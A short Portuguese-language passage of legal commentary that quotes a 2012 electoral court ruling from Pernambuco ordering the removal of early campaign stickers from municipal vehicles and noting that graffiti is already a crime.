Um belo exemplo disso está registrado na sentença proferida em 3 de fevereiro de 2012 pela juíza eleitoral Maria Adelaide Monteiro de Abreu, da 54ª Zona Eleitoral do Estado de Pernambuco. Com efeito, a Representação Eleitoral nº 38-81.2011.6.17.0054, ajuizada por João Gonçalves Neto em face de José Edson de Souza, terminou com o reconhecimento da parcial procedência do pedido para determinar que o representado

“providencie no prazo de 72 (setenta e duas) horas, a retirada dos adesivos que contenham a expressão ‘Tô com o Dr. de novo’, afixados em veículos que estejam à disposição da Prefeitura Municipal local [de Brejo de Madre de Deus]” (grifamos),

reforçando a ordem para que

“se oficiem às rádios desta Zona Eleitoral a fim que se dê ampla divulgação no sentido de que não é permitido, antes do período determinado na Legislação Eleitoral, qualquer tipo de manifestação pública em veículos ou outros bens, por meio de adesivos, placas, cartazes, outdoors, pinturas, pichações ou outros meios” (grifamos de novo).

Até mesmo as pichações, que já caracterizam crime ambiental (art. 65, da Lei 9.605/98), precisaram constar expressamente da sentença. É verdade… Não custa lembrar que, para ganhar votos, não vale cometer crimes…

Curiosidades

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